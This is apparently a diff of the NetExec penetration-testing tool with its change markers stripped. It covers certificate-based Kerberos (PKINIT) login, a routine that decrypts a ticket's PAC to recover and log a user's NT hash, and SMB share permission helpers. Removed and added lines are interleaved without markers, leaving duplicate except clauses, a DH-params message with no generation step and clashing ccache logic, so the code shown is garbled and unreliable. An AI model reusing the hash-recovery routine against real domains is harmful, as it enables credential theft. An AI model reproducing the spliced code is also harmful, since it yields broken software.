if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
try:
|
||||
credentials = pkinit_credentials(self.args)
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except (PKINITError, ValueError) as e:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
if credentials is None:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
|
||||
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
|
||||
except (PKINITError, KerberosError, OSError) as e:
|
||||
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(tgt, reply_key, session_key)
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
ccache.saveFile(ccache_path)
|
||||
self.logger.info(f"Saved TGT to {ccache_path}")
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
|
||||
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
return bool(nthash) and self.hash_login(domain, username, nthash)
|
||||
|
||||
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
|
||||
os.environ["KRB5CCNAME"] = ccache_path
|
||||
self.use_kcache = True
|
||||
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
|
||||
|
||||
if self.protocol == "smb" and self.args.unpac:
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
if nthash:
|
||||
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
|
||||
self.db.add_credential("hash", domain, username, nthash)
|
||||
|
||||
return logged_in
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
|
||||
if args.pfx_cert:
|
||||
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
|
||||
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
|
||||
with os.fdopen(handle, "wb") as pfx_file:
|
||||
pfx_file.write(pfxdata)
|
||||
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
|
||||
|
||||
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
@@ -99,34 +99,3 @@ class NXCRPCConnection:
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
+97
-16
@@ -1,21 +1,102 @@
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
|
||||
from impacket.ldap import ldaptypes
|
||||
|
||||
from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
|
||||
|
||||
|
||||
def get_smb_connection(context, connection, timeout=3):
|
||||
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
|
||||
def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
|
||||
r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
|
||||
|
||||
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
|
||||
one would count as a bad password attempt on the target, so no session is attempted.
|
||||
Args:
|
||||
connection: An NXC SMB connection object with host, username, password, etc.
|
||||
share_name: The SMB share name (e.g. "SYSVOL").
|
||||
path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
|
||||
sec_info_flags: Security information flags to request. Defaults to
|
||||
OWNER | GROUP | DACL.
|
||||
|
||||
Returns:
|
||||
An SR_SECURITY_DESCRIPTOR parsed from the raw response.
|
||||
"""
|
||||
if not connection.has_reusable_secret:
|
||||
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
|
||||
return None
|
||||
if sec_info_flags is None:
|
||||
sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
|
||||
|
||||
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
|
||||
if connection.kerberos:
|
||||
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
|
||||
elif connection.nthash or connection.lmhash:
|
||||
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
|
||||
else:
|
||||
smb.login(connection.username, connection.password, connection.domain)
|
||||
return smb
|
||||
rpc_transport = transport.SMBTransport(
|
||||
connection.host,
|
||||
connection.host,
|
||||
filename=r"\srvsvc",
|
||||
smb_connection=connection.conn,
|
||||
)
|
||||
|
||||
rpc_transport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
)
|
||||
rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
# SRVS RPC requires null-terminated strings
|
||||
rpc_share = f"{share_name}\x00"
|
||||
rpc_path = f"\\{path.replace('/', chr(92))}\x00"
|
||||
|
||||
raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
|
||||
dce.disconnect()
|
||||
|
||||
return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
|
||||
|
||||
|
||||
def parse_dacl_aces(sd, sid_resolver=None):
|
||||
"""Parse ACEs from a security descriptor's DACL into structured data.
|
||||
|
||||
Args:
|
||||
sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
|
||||
sid_resolver: Optional callable that takes a SID string and returns
|
||||
a human-readable name. If None, SID names are left as empty strings.
|
||||
|
||||
Returns:
|
||||
A dict with keys:
|
||||
owner: {"sid": str, "name": str}
|
||||
group: {"sid": str, "name": str}
|
||||
aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
|
||||
If there is no DACL, the ``aces`` list will be empty.
|
||||
"""
|
||||
owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
|
||||
group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
|
||||
|
||||
result = {
|
||||
"owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
|
||||
"group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
|
||||
"aces": [],
|
||||
}
|
||||
|
||||
if not sd["Dacl"]:
|
||||
return result
|
||||
|
||||
for i in range(sd["Dacl"]["AceCount"]):
|
||||
ace = sd["Dacl"]["Data"][i]
|
||||
ace_type = ace["TypeName"]
|
||||
access_mask = int(ace["Ace"]["Mask"]["Mask"])
|
||||
sid = ace["Ace"]["Sid"].formatCanonical()
|
||||
|
||||
permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
|
||||
|
||||
sid_name = ""
|
||||
if sid_resolver:
|
||||
sid_name = sid_resolver(sid)
|
||||
|
||||
result["aces"].append({
|
||||
"ace_type": ace_type,
|
||||
"sid": sid,
|
||||
"sid_name": sid_name,
|
||||
"permissions": permissions,
|
||||
"raw_mask": access_mask,
|
||||
})
|
||||
|
||||
return result
|
||||
@@ -1,4 +1,3 @@
|
||||
import ast
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
@@ -7,7 +6,6 @@ import sys
|
||||
from os import listdir
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
from types import SimpleNamespace
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
@@ -77,9 +75,12 @@ class ModuleLoader:
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
